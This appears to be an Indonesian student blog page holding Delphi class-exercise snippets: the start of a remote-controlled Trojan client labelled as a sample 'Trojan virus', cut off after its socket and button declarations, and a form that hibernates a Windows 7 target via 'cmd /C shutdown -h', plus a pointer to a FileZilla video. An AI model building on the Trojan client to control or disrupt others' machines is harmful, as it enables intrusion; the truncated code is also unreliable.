Lourens Loukassy

//BINA SARANA INFORMATIKA// //Coding By Communitas// Remix > Lhourens/ //Testing Praktikum Virus (target) ------------------------------------------------------------------------------------------------------- Contoh Pembuatan Trojan Virus.... Untuk Form1....Client unit Contoh_Virus_Trojan; interface uses   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,   Dialogs, StdCtrls, ScktComp; type   TForm1 = class(TForm)     Edit1: TEdit;     Button1: TButton;     Button2: TButton;     Button3: TButton;     Label1: TLabel;     Label2: TLabel;     ClientSocket1: TClientSocket;     procedure Button3Click(Sender: TObject);     procedure ClientSocket1Connect(Sender: TObject;       Socket: TCustomWinSocket);     procedure ClientSocket1Connecting(Sender: TObject;       Socket: TCustomWinSocket);     procedure ClientSocket1Disconnect(Sender: TObject;       Socket: TCustomWinSocket);     procedure Button1Click(Sender: TObject);     proc

//BINA SARANA INFORMATIKA //Coding By Lhourens.L //Testing Praktikum Windows 7 (Target) ----------------------------------------------------------------------------------------------------- Contoh Mematikan Sementara CPU....(Hibernate) unit Monitor_Hibernate_win7; interface uses   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,   Dialogs, StdCtrls, jpeg, ExtCtrls; type   TForm1 = class(TForm)     Image1: TImage;     Button1: TButton;     Label1: TLabel;     procedure Button1Click(Sender: TObject);   private     { Private declarations }   public     { Public declarations }   end; var   Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin WinExec('cmd /C shutdown -h',SW_SHOW); end; end. Screen Shut Program...........

Cara menggunakan FileZila....... Silahkan ditonton videonya....<><><><><>